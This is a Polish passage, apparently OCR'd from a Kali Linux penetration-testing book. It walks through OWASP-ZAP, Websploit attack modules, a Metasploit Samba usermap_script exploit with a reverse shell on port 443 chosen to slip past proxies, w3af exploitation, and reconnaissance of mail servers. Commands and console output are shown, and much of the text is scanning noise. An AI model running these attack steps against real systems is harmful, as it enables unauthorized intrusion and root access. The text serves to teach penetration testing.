Możesz jednak skonfigurować Owasp-Zap do automatycznego logowania. Aby to zrobić, musisz po włączeniu tego programu uruchomić przeglądarkę, przejść na wybraną stronę internetową, zalogować się ręcznie, następnie wskazać programowi, gdzie w zapisie ruchu sieciowego znajdują się żądania logowania i wylogowania, i wreszcie na koniec włączyć opcję automatycznego logowa nia. Kiedy odpowiednie żądania GET pojawią się w panelu Sites, przejdź na kartę R espon ses, odszukaj odpowiedź związaną z logowaniem do witryny, kliknij ją prawym przyciskiem myszy, z menu podręcznego wybierz polecenie F lag as Content i zaznacz, że jest to logowanie (L o g g ed in indicator). Następnie powtórz całą procedurę dla odpowiedzi związanej z wylogowaniem i zaznacz ją jako L og g ed out indicator. [ Quick Start
_ [ S ite e t * 1 G E T .yuiloa de r-do m -e ven t.js(v) _ ►
(.1
fo ru m ru n n e r
S e rv e r : Apache X -P o v e re d -U y : P l P / S . 'J . i y
Q G E T d e te c t.js
Coche C o n t r o l: p r iv ó t e
h fa v ir o n .iro
im u y u u
■ P O S T io g in .p h p ld o H d o .s .s c c u n ty to k c n . _
POM": p ro file . p h p (d n )(d o .s . s e n jrtty tn k e r%
http://WVWl _
Budy: Turd.
* |
H T T P /1 . 1 2 0 0 0K n a r e : T u * , 14 May ? o i . l 1 R :1 9 : R 1 r u r
d]rib "
' .
*|
G E T c s s .p h p fd .lu riy id .s h u u l.s ly J u id .ld )
C G E T :c o n tc n t.p h p
r ¿
j R e q u e s ts [ Reepunee — ] Biwak .... j
, H u u d u r: Tm d
P ra y m a : p r í v a l e ‘ ^ T - í n n lr ie - nw 1 a a t a r t i v í t v s M* e v rti n v e r vb d is a b le a je * • r í . - t l ’ ! ) ', v o r S I M R _E V B *S ION = • 4 2 1 " ;
'
var var vai var var
f* h ttp :/M w *r.th e s e c u rity b lo q q e r.c o m ------
h ttp ;//w w w — *■~L — li ll p : / / h ttp c :/
. "
/
BBURL = M r » LOGGEOIN - 1 4 3 3 6 > O ? t r u e T H I S _SC R IPT - " l o g i n * ; RELPATH . f f l F lag as C on text PATHS * { fo r u m
:
" ,
:
ifl-Mftv-vmfl h-N-vi fxii
S
1
►
F ind... E n cu d u /D u cu d u /H u sh ...
F n rreH Rrnwse H ie lo ry *
]
F .t7 7 e r{ |
P a ra m s [__)
S e a rc h ^
]
H ttp S e s s io n s
B ie a k P o inte
X
j
A
C r o s s - d o m a in j a v l JRI : h ttp :/A Risk: ÍK Low R e lia b ility w a rn in g
▼ ( a i A le rts (5 ) ► f e r * D ire c to ry b ro w s in g ( - l i )
► f“ * Cross-dom ain JavaScript source file inckision ( 3 9 12 ) » I I I f- Privóte ip disclosure (93) ► {¿¡I fa x-< o n re n t-iy p e -O p fio n s h e a d e r m is s in g ( 1 6SS)
P a ra m e t e r: https://a A tta c k : Ucscnpbon:
S yn ta x
►
V iew
►
Can t undo ( a n t Redo
|i
O u tp u t
S pider '■# < :tri+ v
CuL
C lrl+ X
£upy
c u ll c
P a s te
%pider '&?.
fttU V
D e le te
D e le te
S e lect All
C lrl+ A
M M r» X-i ra m e -O p tio n s h e a d e r n o t s e t (1 J S J ) T liu p u y c u l lltu
lia v e Raw
► ip l file s fi urn u
_zz Na pasku narzędzi programu Owasp-Zap uaktywni się przycisk pozwalający na włączanie lub wyłączanie automatycznego uwierzytelniania (zobacz rysunek poniżej). Po włączeniu tego mechanizmu program Owasp-Zap będzie mógł automatycznie odpowiadać na żądania autoryzacji, jakie będą się pojawiały podczas skanowania danej witryny. Jest to bardzo przydatne rozwią zanie, pozwalające na automatyzację procesu eksploracji badanej witryny, która wymaga uwierzytelniania użytkownika.
Program Owasp-Zap posiada swój własny mechanizm aktualizacji całego pakietu. Jeżeli chcesz sprawdzić, czy pojawiła się już nowsza wersja tego oprogramowania lub czy dostępne są ja kieś nowe moduły, powiniene ś z menu głównego wybrać polecenie H elp /C h eck f o r updates.
110
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y ch
Ma n a g e Add-ons [ Installed [ M a rke tp la ce ]
Fuzdb vl.09 files which can be used with the ... Provides a BeanShell Console The beta quality Passive Scanner rules Allows to port scan a target server Allows you to generate reports for alerts you s... Provides dynamic access to internal ZAP data ... SVN Digger files which can be used with ZAP f... Allows you to generate and analyze pseudo ra... Tools to add functionality to the tree view. The alpha quality Active Scanner rules Displays a dialog showing the differences bet... Allows you to highlight stnngs in the request a... The alpha quality Passive Scanner rules Identify, enumerate and activate dormant and... Allows you to view Server-Sent Events (SSE) co...
2 2 3 3 9 7 2 5 2 1 2 3 1 2 5
W menu R eport znajdziesz polecenia pozwalające na tworzenie raportów. I Tools Online Help Export Messages to File... Export Response to File... Export All URLs to File... Compare with another Session... Generate HTML Report.. Generate XML Report...
Poniżej przedstawiamy fragment raportu w formacie HTM L, wygenerowanego po przeskanowaniu witryny www. thesecurityblogger. com .
111
fl
K a li L in u x . T e s ty p e n e tra c y jn e
WebspIoit f\ \ _ / \ \ K \ \A \ \ \
/\ \ __ \ \ \____
/\ \ A _\__ \ / 7 \ \ _____ ___ A \ \ , \
___
\\\\\\\ /' "\\' \ /'. 'X A 1 \\ \ \ / Y/\ \ \ V \\\'\\~/*\" \\ /\ _/\ \\L\\/\ „ '\A \\\L\ W \ \ A \L\ \ \ \ \ \ A \ \\ \ . A A . //\ “\ \ A \ \ \ ”\ •V
//
/
V
/ V
/
V
/
\ \ V V \ Y_\ V /
/V
/
Y/ /\ J
/
W ebsploit to narzędzie, które powstało w ramach jednego z projektów open source i jest przeznaczone do automatycznego skanowania i wyszukiwania podatności oraz luk w zabezpiecze niach systemów zdalnych. Aby uruchomić pakiet Websploit, w menu głównym systemu Kali Linux przejdź do grupy Kali Linux, a następnie wybierz polecenie W eb A pplications/W eb A pplication Fuzzers/w ebsploit. Na ekranie pojawi się okno konsoli z wyświetlonym logo pakietu Websploit. Aby wyświetlić listę wszystkich dostępnych modułów, wraz z krótkimi opisami przeznaczenia, powinieneś wykonać polecenie show modules. Ne twork Mo dules
Oese ription
network/arpdos netwo rk/mfod netwo rk/mitm netwo rk/mlitm netwo rk/webkille r ne tw or k/ f a k e u p d a t e n e t w or k/ fa ke ap
ARP Cache D e ni al Of Se rv ic e Attack Midd le F i ng er Of Doom Attack Man In Th e M i dd le Attack Man Left In Th e M i dd le Attack TC P Kill Attack Fake Upda te Atta ck Using DNS Spoof Fake Acce ss Point
Ex ploit Mo dules
Desc ription
e x p l o i t/ au to pw n ex p l o i t / b r o w s e r _ a u t o p w n e x p l o i t / java_applet
Metasp lo it Au to pw n Se rvice M e ta sp lo it B r o w s e r Autopwn Se rvice
K ffltL T T M to Ö " " |Wireless Modules
Desc ription
w i f i / w i f i_j amme r w i f i/wif i_dos
W i f i Jamm er W i f i Dos Attack
" ™ u
Uf > i Aby uruchomić wybrany moduł, wpisz polecenie use i nazwę modułu, a następnie podaj pozostałe niezbędne informacje zgodnie z instrukcjami pojawiającymi się na ekranie. Aby na przykład uruchomić moduł w ebkiller, wpisz polecenie use network/webkiller, a następnie za pomocą polecenia set TARGET podaj cel ataku. Aby rozpocząć atak, wpisz polecenie run.
n nnnnn^
wsf > use netwo rk/webkilleif^ [~T\ |i n wsf :WebKiller > set TARGET http;://www[t|jgse^:u[r: ty^logger.qom TARGET => http://www.thesecurityblogger.com w s f :WebKiller > RUN|
112
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
fl
Wykorzystywanie znalezionych luk w zabezpieczeniach (exploity) Jeżeli pentester zainwestuje odpowiednią ilość czasu i zasobów w przeprowadzenie dobrze przygotowanego rekonesansu, to w rezultacie powinien otrzymać listę systemów, które z po wodu takich czy innych luk w zabezpieczeniach są podatne na ataki. Następnym krokiem po winno być zatem uszeregowanie poszczególnych systemów według ich przydatności w reali zacji całej misji, określenie nakładów pracy niezbędnej do wykorzystania zidentyfikowanych luk w zabezpieczeniach oraz oszacowanie ryzyka związanego z próbami przeprowadzenia ata ku na poszczególne systemy. W systemie Kali Linux znajdziesz wiele narzędzi, które wspomagają przeprowadzanie ataków na serwery aplikacji internetowych i wykorzystywanie luk w zabez pieczeniach, które zostały wcześniej zidentyfikowane w fazie rekonesansu.
Metasploit Pakiet M etasploit to jedno z najpopularniejszych na świecie narzędzi do przeprowadzania testów penetracyjnych i wykorzystywania podatności serwerów aplikacji internetowych. W opinii specjalistów jest to jedno z najbardziej użytecznych narzędzi dla pentesterów. Pierwsza wersja pakietu Metasploit powstała w roku 2003, a je j autorem był H D Moore. Metasploit jest wyko rzystywany najczęściej przez specjalistów zajmujących się przeprowadzaniem testów pene tracyjnych, aczkolwiek zdarza się również, że jest używany do niecnych celów przez hakerów i inne czarne charaktery współczesnego cyberświata. W internecie i nie tylko można znaleźć setki źródeł opisujących sposoby pracy z pakietem Metasploit. W naszej książce skoncentrujemy się jedynie na użyciu tego pakietu w czasie testów penetracyjnych do przeprowadzania ataków wykorzystujących zidentyfikowane wcześniej lu ki w zabezpieczeniach serwerów aplikacji internetowych.
Przed uruchomieniem pakietu upewnij się, że zostały włączone usługi Postgres SQL oraz Metasploit. Aby to zrobić, otwórz okno konsoli i wpisz polecenia odpowiednio serv ice postgresql s t a r t oraz service m etasploit s ta rt.
Pierwszym krokiem do uruchomienia pakietu Metasploit będzie otwarcie okna konsoli i wpisanie polecenia msfconsole, co spowoduje załadowanie konsoli będącej interfejsem użytkownika. Na początek powinieneś zapamiętać dwa podstawowe polecenia, help oraz show, które pomogą Ci zapoznać się z możliwościami pakietu.
Pamiętaj, że istnieją jeszcze inne metody uruchamiania pakietu Metasploit, takie jak polecenie msfgui (wersja z graficznym interfejsem użytkownika) oraz msfcli (wersja do pracy bezpośrednio z wiersza poleceń terminalu).
113
fl
K a li L in u x . T e s ty p e n e tra c y jn e
W ersja konsolowa, msfconsole, umożliwia wywoływanie nie tylko komend pakietu Metasploit, ale także poleceń systemu operacyjnego, takich jak ping czy nmap. Jest to bardzo użyteczne rozwią zanie, ponieważ pozwala pentesterowi na wykonywanie innych zadań bez konieczności opuszcza nia konsoli pakietu Metasploit. Na początek użyjemy skanera Nmap do przeskanowania sieci lokalnej. Wyniki mogą być au tomatycznie załadowane do pakietu Metasploit za pośrednictwem pliku XM L. Polecenie, które wywołamy, wygląda następująco: nmap -n -oX my.xml network msf > nmap -n -oX my.xml 172.16.189.0/24 [*] exec: nmap -n -oX my.xml 172.16.189.0/24 Wyniki działania skanera Nmap załadujemy do pakietu Metasploit za pośrednictwem pliku XM L. Możemy tego dokonać za pomocą następującego polecenia: db_import my.xml Po zakończeniu szybko wpisujemy polecenie host, aby upewnić się, że dane zostały zaimportowa ne pomyślnie i że Metasploit posiada teraz komplet danych ze skanera Nmap. msf > db import my.xml [*] Importing 'Nmap XML' data [♦I Import: Parsing with 'Nokogiri v l . 5 . 2 ' [*] Importing host 172.16.189.1 [*] Importing host 172.16.189.5 I*J Importing host 172.16,189.131 [*] S u c c e s s f u lly imported /root/my.xml msf > hosts Hosts address 0 comments
mac
172.16.189.1
00:50:56:36:00:68
172.16.189.5 172.16.189.131 1msf >
00:50:56:96:51:33
name
osname
o sfla v o r
ossp
purpose
Unknown
device
Unknown
device
Unknown
device
Następnie użyjemy polecenia services do wyświetlenia listy usług dostępnych w pakiecie Meta sploit. Na zrzucie ekranu, który widać na rysunku na następnej stronie, przedstawiamy przy kładowe wyniki działania polecenia services. Skanowanie sieci za pomocą skanera Nmap oraz zaimportowanie pliku XM L zawierającego wyni ki jego działania do pakietu Metasploit możesz przeprowadzić w jednym kroku, za pomocą
114
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
ssh http SIMJX fwl-secureremote es ro-gen h.323/q.931 https omginitialrefs bgmp rpcbind ssh ftp telnet smtp domain http netbios-ssn microsoft-ds mysql postgresql aj pl3 unknown
|
open open open open open open open open open open open open open open open open open open open open open open
polecenia db_nmap. W przykładzie przedstawionym poniżej używamy polecenia db_nmap do skanowania sieci z wykorzystaniem opcji wywołania skanera Nmap. msf > db nmap -n -A 1 7 2 .1 6 .1 8 9 .1 3 1 Teraz ponownie możemy użyć poleceń hosts oraz services do sprawdzenia, czy Metasploit otrzymał poprawny zestaw danych. Services host
Linux telnetd Postfix smtpd Apache httpd 2.2.8 (Ubuntu) PH
open
Samba smbd 3.X workgroup: WORK
open open open open open
MySQL 5.8.51a-3ubuntu5 PostgreSQL DB 8.3.8 - 8.3.7 Apache Jserv Protocol vl.3 Apache Tomcat/Coyote JSP engin
Wykonanie polecenia serv ices ujawnia, że do udostępniania plików i drukarek używany jest serwer Samba. Sprawdzimy zatem, czy możemy znaleźć jakąś lukę w jego zabezpieczeniach i wykorzystać ją do naszych celów. Warto zauważyć, że choć w tym przypadku atakujemy rzeczywisty serwer aplikacji internetowych, to z różnych względów pełna próba przełamania
115
fl
K a li L in u x . T e s ty p e n e tra c y jn e
jego zabezpieczeń nie zawsze będzie nam na rękę. Pamiętaj jednak, że prawdziwy napastnik (haker czy inny czarny charakter) bez wahania będzie próbował wykorzystać każdą znalezioną lukę w zabezpieczeniach i uzyskać dostęp do serwera. W historii serwerów Samba takie czy inne luki w zabezpieczeniach i związane z nimi exploity pojawiały się dosyć często. Istnieje nawet ranking exploitów, szeregujący je pod względem potencjalnego zagrożenia dla systemu. W naszym przypadku skorzystamy z exploita o nazwie usermap_script, wykorzystującego podatność, która we wspomnianym rankingu plasuje się bardzo wysoko. Moduł działa na serwerach Samba w wersjach od 3.0.20 3.0.25rc3. W ięcej szczegółowych informacji na temat tej podatności znajdziesz na stronie http://w w w .m etasploit.com /m odules/ exploit/m ulti/sam ba/userm ap_script. 172.16.189.131 172.16.189.131 172.16.189.131 172.16.189.131 e 1.1
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Po wybraniu modułu musisz sprawdzić, jakie dane trzeba dostarczyć przed jego uruchomie niem, i ustalić, jaki ładunek (ang. pay load ) chcesz wysłać do atakowanego systemu. Listę nie zbędnych opcji możesz wyświetlić na ekranie za pomocą polecenia show o p t io n s , jak przed stawiono na rysunku poniżej: msf > use exploit/multi/samba/usermap script msf exploit(usermap_script) > show options Module options (exploit/multi/samba/usermap script): Name
Current Setting
RHOST RPORT 139 Exploit target: Id Name 6 msf
Required
Description
yes yes
The target address The target port
Automatic exploit(usermap_script) >
Jak widać, w tym przypadku musisz podać wartość zmiennej RHOST, reprezentującej adres IP zdalnego hosta, który będzie celem ataku. Teraz będziesz musiał wybrać ładunek oraz ustawić jego opcje. Ładunek to specjalnie przygotowany fragment kodu, który zostaje dostarczony do zdalnego hosta i po uruchomieniu próbuje wykorzystać określoną podatność. Ponieważ daną lukę w zabezpieczeniach można zwykle wykorzystać na kilka różnych sposobów, to często zdarza się, że dla danego exploita będziesz miał kilka lub nawet kilkanaście ładunków do wyboru. Aby sprawdzić, jakie ładunki są dostępne dla wybranego exploita, wpisz polecenie show p a y lo a d s . cmd/unix/bind netcat ipv6 etcat -e) IPv6 cmd/unix/bind peri erl) cmd/unix/bind peri ipv6 erl) IPv6 cmd/unix/bind ruby uby) cmd/unix/bind ruby ipv6 uby) IPv6 cmd/unix/generic tion cmd/unix/reverse TCP (telnet) cmd/unix/reverse netcat a netcat -e) cmd/unix/reverse peri a Perl) cmd/unix/reverse python a Python) cmd/unix/reverse ruby a Ruby) msf exploit(usermapscript) >
normal
Unix Command Shell, Bind TCP (via n
normal
Unix Command Shell, Bind T C P (via P
normal
Unix Command Shell, Bind TCP (via p
normal
Unix Command Shell, Bind TCP (via R
normal
Unix Command Shell, Bind TCP (via R
normal
Unix Command, Generic Command Execu
normal
Unix Command Shell, Double reverse
normal
Unix Command Shell, Reverse TCP (vi
normal
Unix Command Shell, Reverse TCP (vi
normal
Unix Command Shell, Reverse TCP (vi
normal
Unix Command Shell, Reverse TCP (vi
Po wyświetleniu listy dostępnych ładunków musisz wybrać, który z nich zostanie użyty. Aby to zrobić, wpisz polecenie s e t p a y lo a d i następnie nazwę wybranego ładunku.
117
fl
K a li L in u x . T e s ty p e n e tra c y jn e
ciid/unix/bind peri normal Unix erl) cmd/unix/bind peri ipv6 normal Unix erl) IPv6 cnd/unix/bind ruby normal Unix uby) cmd/unix/bind ruby ipv6 normal Unix uby) IPv6 cmd/unix/qeneric normal Unix tion c»d/unix/reverse normal Unix It c P (telnet) cmd/unix/reverse netcat normal Unix a netcat -e) cmd/unix/reverse peri normal Unix a Perl) cmd/unix/reverse python normal Unix a Python) cmd/unix/reverse ruby normal Unix a Ruby) jmsf exp(oit(usermap_script) > set PAYLOAD cmd/unix/reverse PAYLOAD => cmd/unix/reverse Imsf exploit(usermapscript) >
Po wybraniu konkretnego ładunku powinieneś ponownie wykonać polecenie show o p t io n s , aby sprawdzić, jakie opcje musisz ustawić dla wybranego ładunku. cmd/unix/bind peri normal Unix erl) cmd/unix/bind peri ipv6 normal Unix erl) IPv6 cmd/unix/bind ruby normal Unix uby) cmd/unix/bind ruby ipv6 normal Unix uby) IPv6 cmd/unix/generic normal Unix tion cmd/unix/reverse normal Unix TCP (telnet) cmd/unix/reverse netcat normal Unix a netcat -e) cmd/unix/reverse peri normal Unix a Perl) cmd/unix/reverse python normal Unix a Python) cmd/unix/reverse ruby normal Unix a Ruby) mst exploit|usermap_scnpt) > set PAYLOAD cmd/unix/reverse PAYLOAD => cmd/unix/reverse msf exploit(usermapscript) > show options^
Jak widać na rysunku przedstawionym poniżej, nasz wybrany ładunek wymaga ustawienia wartości zmiennych LHOST oraz LPORT. Zmienna LHOST to adres Twojego lokalnego komputera. Exploit, którego użyjemy, powoduje, że zdalny host będzie próbował ustanowić połączenie z systemem, na którym działa pakiet Metasploit, dlatego musi „znać” jego adres IP Oprócz tego musimy wybrać port komunikacyjny, którego zdalny host będzie używał do połą czenia z pakietem Metasploit. W większości środowisk korporacyjnych liczba otwartych portów wykorzystywanych do komunikacji ze światem zewnętrznym jest bardzo mocno ograniczona przez odpowiednio skonfigurowane routery czy zapory sieciowe. W takiej sytuacji najlepszym
lis
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
rozwiązaniem będzie wykorzystanie powszechnie używanego portu komunikacyjnego, takiego jak na przykład 443. Port o tym numerze jest zarezerwowany dla ruchu SSL i zazwyczaj środowi ska korporacyjne zezwalają na jego wykorzystywanie. Kolejną zaletą używania portu 443 jest fakt, że większość firm i organizacji nie monitoruje ruchu SSL. Z naszych doświadczeń z kolei wynika, że użycie portu 443 (ustawienie zmiennej LPORT na wartość 443) w większości przy padków pozwalało na ominięcie zainstalowanych w atakowanym środowisku wewnętrznych serwerów proxy, których zadaniem było monitorowanie ruchu wychodzącego na zewnątrz i blo kowanie niepożądanych połączeń. RHOST 172.16.189.131 yes RPORT 139 yes Payload options (cmd/unix/reverse): Name
Po wybraniu ładunku i ustawieniu jego opcji możesz uruchomić exploit i rozpocząć przepro wadzanie ataku. Aby to zrobić, wpisz polecenie e x p l o i t . Jeżeli działanie modułu zakończy się powodzeniem, zostaniesz połączony ze zdalnym serwerem. Po uzyskaniu połączenia możesz wykonywać dowolne polecenia — jak widać na rysunku poniżej, wybrany exploit pozwolił na uzyskanie połączenia ze zdalnym serwerem na prawach użytkownika ro o t (pełne uprawnienia administratora systemu). msf exploit(usermapscript) > set LHOST 172.16.189.5 LHOST => 172.16.189.5 msf exploit(usermapscript) > set LPORT 443 LPORT => 443 msf exploit(usermap script) > exploit [*] Started reverse double handler [*] Accepted the first client connection... (*] Accepted the second client connection... [*] Command: echo BySs63KAtbI6fYyO; [*] Writing to socket A (*] Writing to socket B I*] Reading from sockets... [*] Reading from socket 8 [*J B: ■BySs63KAtbI6fYyONr\n" (*] Matching... [*] A is input... [*] Command shell session 1 opened (172.16.189.5:443 -> 172.16.189.131:45728) at 2813-84-1 6 15:14:85 -8588 whoami root
119
K a li L in u x . T e s ty p e n e tra c y jn e
Pakiet Metasploit oferuje bardzo dużą liczbę wbudowanych modułów i wtyczek. Więcej szczegó łowych informacji na ten temat znajdziesz na stronie http://w w w .m etasploit.com /.
w 3af
Pakiet w 3af (ang. Web Application Attack an d Audit Framework) to otwarty skaner aplikacji inter netowych i narzędzie do wykorzystywania podatności i luk w zabezpieczeniach. Aby urucho mić ten pakiet w systemie Kali Linux, w menu głównym przejdź do grupy K ali Linux i następnie wybierz polecenie W eb A pplication A ssessm ent/W eb V ulnerability Scanners/w 3af. Pakiet w 3af posiada bardzo wygodny kreator, ułatwiający skonfigurowanie i przeprowadzenie skanu, aczkolwiek można bez problemu używać tego programu bez korzystania z kreatora. Pierwszą czynnością po uruchomieniu skanera jest utworzenie nowego profilu lub załadowa nie profilu już istniejącego. Profile są wykorzystywane do grupowania wtyczek, które zostaną użyte do przeprowadzenia ataku. Skaner w3af posiada wbudowany cały szereg znakomitych, domyślnych zestawów wtyczek, jak choćby OWASP TOP10. Kiedy zaznaczysz wybrany profil lub wtyczkę, jego lub je j definicja pojawi się w centralnej części okna, jak zaprezentowano na rysunku poniżej. Możesz wybrać jed en z istniejących profili skanowania lub utworzyć nowy. Aby wybrać profil, kliknij jego nazwę na liście w lewej części ekranu. Jeżeli używasz nowego profilu lub edytujesz jed en z istniejących profili, możesz zaznaczyć lub usunąć zaznaczenie żądanych wtyczek. Im więcej aktywnych wtyczek będzie przypisanych do danego profilu, tym więcej czasu będzie zajmowało skanowanie systemu. Jeżeli zaznaczysz wiele wtyczek, skaner w 3af wyświetli na ekranie ostrzeżenie, że wykonanie takiego skanu będzie wymagało znacznej ilości czasu. T h e O p e n W e b A p p lic a tio n S e c u r it y P ro je c t (O W A S P ) is a w o r ld w id e f r e e a nd o p e n c o m m u n ity fo c u s e d on im p ro v in g t h e s e c u r it y o f a p p lic a tio n s o ft w a r e . O W A S P s e a rc h e d f o r a nd p u b lis h e d t h e t e n m o s t co m m o n s e c u r it y f la w s . T h is p r o f ile s e a rc h f o r t h is t o p 1 0 s e c u r it y f la w s . F o r m o re in fo r m a tio n a b o u t t h e s e c u r it y f la w s : h t t p : / / w w w . o w a s p . o r g / in d e x . p h p / O W A S P _ T o p _ T e n _ P r o je c t .
Następnie w polu Target wpisz adres U R L serwera, którego skan masz zamiar przeprowadzić, i kliknij przycisk Start. Na rysunku zamieszczonym poniżej przedstawiamy wygląd okna pro gramu w 3af skonfigurowanego do skanowania witryny w w w .thesecu rityblogger.com .
120
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
1 P ro file s
L d it V ie w
t
p
lo o ls
c o n fig u r â t! o n
|
H e lp
sa
ę
e
I SC >111 ( (N ity
profiles wnfriyjHofilH O W AS P TO P 10
audit_high_risk brutetorce ldSl.Jrf.dM
fuli audit full_audit_manual_disi sitemap
Target {httpjVwvrw.thesecuntybfogger.com P lu g in @
audit
■
@
d U lłl
□
IjJ
I m i lc f o r c r □
>+j
@
discovery ■ evasion □ y re p m
0
m a n g ln
@
j i Start i
I X
|
A c tiv e
a
w e b j ii f t d s l r u c l u r e
P in y in 0
output
A iliv c ■ M a n g le p lu g in s m o d if y re q u e s ts o n th e fly.
Na karcie L og program w3af wyświetla informacje o bieżącym statusie i postępach skanowania. Po rozpoczęciu skanowania program w 3af dokonuje oszacowania czasu niezbędnego do zakoń czenia skanowania i wyświetla tę informację na ekranie.
Aby zobaczyć wynik skanowania, przejdź na kartę Results. Znajdziesz tam szczegółowe in formacje o zidentyfikowanych podatnościach i lukach w zabezpieczeniach skanowanego ser wera. Na karcie E xploit znajdziesz informacje o istniejących exploitach pozwalających na wy korzystanie znalezionych luk w zabezpieczeniach.
121
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Program w3af pozwala użytkownikowi na dokonanie próby wykorzystania znalezionych podatno ści i luk w zabezpieczeniach. Luki w zabezpieczeniach, które zostały zidentyfikowane podczas skanowania, są porównywane z istniejącą bazą wiedzy, z której następnie odczytywane są od powiednie informacje na temat istniejących exploitów i sposobów ich wykorzystania. Jeżeli użycie wybranego exploita zakończy się powodzeniem, uzyskasz dostęp do konsoli zaatakowanego systemu. Na rysunku zamieszczonym poniżej przedstawiono wygląd okna skanera w3af, wy korzystującego podatność o nazwie dayShell na witrynie w w w .thesecu rityblogger.com . Scan config Log Results Exploit Exploits eval fileUploadShell IocaIFi IeReader osCommandingShell remoteFilelncludeShell rfiProxy sql_webshell sqlmap xpath
Vulnerabilities Unhandled error in web application A Unideryjgadi
Shells
* M ultip le E x p lo it!
m nc
# i \ u s e m e s e t c o m m a n c i t o e n t e r tn e v a lu e s y o u r s e n , a n a
then exploit it using fastExploit. No [blind] SQL injection vulnerabilities have been found. Hint #1: Try to find vulnerabilities using the audit plugins. Hint #2: Use the set command to enter the values yourself, and then exploit it using fastExploit. No [blind] SQL injection vulnerabilities have been found. Hint #1: Try to find vulnerabilities using the audit plugins. Hint #2: Use the set command to enter the values yourself, and then exploit it using fastExploit. Exploiting 'davShell1..._________________________________
Skaner w3af ma bardzo wiele innych ciekawych możliwości i zastosowań. W ięcej szczegóło wych informacji na ten temat znajdziesz na stronie http://w 3af.org/.
122
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Wykorzystywanie luk w zabezpieczeniach systemów poczty elektronicznej Ze względu na swoją specyficzną rolę praktycznie wszystkie systemy zajmujące się przetwa rzaniem poczty elektronicznej są w taki czy inny sposób podłączone do internetu i pozwalają na anonimowy dostęp z zewnątrz danej firmy lub organizacji — w przeciwnym wypadku ich funkcjonalność byłaby mocno ograniczona. Pracownicy wielu firm i organizacji używają poczty elektronicznej do przesyłania wiadomości zawierających poufne dane. W większości środo wisk na serwerach poczty elektronicznej przechowuje się bardzo wiele cennych informacji, dzięki czemu niemal z definicji serwery te stanowią bardzo atrakcyjne cele dla potencjalnego napastnika. D obra wiadomość jest taka, że zdecydowana większość współcześnie używanych i prawidłowo skonfigurowanych systemów pocztowych jest niezmiernie odporna na ataki, a prze łamanie ich zabezpieczeń i uzyskanie nieautoryzowanego dostępu jest zadaniem ekstremalnie trudnym. Nie oznacza to oczywiście, że współczesne systemy pocztowe nie są podatne na ataki — w końcu większość z nich posiada swoje aplikacje internetowe, pozwalające użytkownikowi na wygodne korzystanie z poczty elektronicznej za pomocą przeglądarki z dowolnego miejsca na świecie. Takie rozwiązanie zwiększa oczywiście prawdopodobieństwo tego, że potencjalny napastnik uzyska zdalny dostęp do serwera poczty i będzie mógł wykorzystać go jako bazę do rozpoczęcia atakowania innych wewnętrznych serwerów danego środowiska. Zanim jednak przymierzymy się do samego atakowania serwerów pocztowych, musimy wiedzieć, na jakich platformach działają takie serwery w badanym środowisku. Jeżeli nie posiadasz od powiednich wiadomości, możesz skorzystać z technik rozpoznania i gromadzenia informacji, które omawialiśmy w rozdziale 2., „Rekonesans”. W naszym przykładzie używamy polecenia fie rce do znalezienia hostów opisywanych w badanej domenie rekordami MX. W zdecydowanej większości przypadków takie hosty są dedykowanymi serwerami poczty elektronicznej. Na kolejnym rysunku przedstawiamy użycie polecenia fie rce do badania domeny w ww.cloudcentrics.com. Iroot@kali:-# fierce -dns www.ctoudcGntrics.com DNS Servers for www.ctoudcentrics.com: ns3682.hostgator.com ns3681.hostgator.com Trying zone transfer first... Testing ns3682.hostgator.com Request timed out or transfer not allowed. Testing ns3681.hostgator.com Request timed out or transfer not allowed. Unsuccessfut in zone transfeV^ft tydslwGrith a sho! n sn n rr Okay, trying the good otd fashioned way... brute •force Can't open hosts.txt or thé— defatfVt1W r o t i s t — u 11JY J \ jL s i Exiting... root@kali:-#
123
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Pierwszym krokiem będzie sprawdzenie, czy znalezione serwery są podatne na bezpośrednie uży cie odpowiednich poleceń protokołu SM TP Jednym z głównych powodów, dla których hakerzy atakują serwery pocztowe, jest chęć uzyskania dostępu do serwera w celu tworzenia fałszywych wiadomości pocztowych i nieautoryzowanego wykorzystywania takiego serwera do ich przekazy wania (ang. e-m ail relay server). W ięcej szczegółowych informacji na temat sposobu użycia pomyślnie zaatakowanych serwerów pocztowych do przygotowania i przeprowadzania ataków socjotechnicznych znajdziesz w rozdziale 4., „Ataki na klienty aplikacji internetowych”. W naszym przypadku do próby połączenia się z atakowanym serwerem poczty elektronicznej użyjemy narzędzia o nazwie Netcat. Jest to uniwersalne narzędzie sieciowe, pozwalające na tworzenie połączeń i przesyłanie danych za pomocą protokołów TC P lub U D P Netcat został zaprojektowany tak, aby można było korzystać z niego w sposób interaktywny i zarazem uży wać go w skryptach i innych programach. Netcat jest również znakomitym sieciowym narzę dziem skanująco-monitorującym, pozwalającym na analizę połączeń sieciowych, wykrywanie oraz identyfikację problemów komunikacyjnych, a także monitorowanie ruchu sieciowego i korelowanie wyników. Aby dokonać próby połączenia z serwerem pocztowym, użyjemy polecenia n e t c a t , podając jako argumenty wywołania adres sieciowy serwera oraz numer portu komunikacyjnego. W tym przypadku nasz atakowany serwer pocztowy wykorzystuje do swoich potrzeb domyślny port 25. W cześniej oczywiście sprawdziliśmy tę informację w fazie rozpoznania i gromadzenia in formacji za pomocą polecenia nmap, tak jak opisywaliśmy to w rozdziale 2., „Rekonesans”.
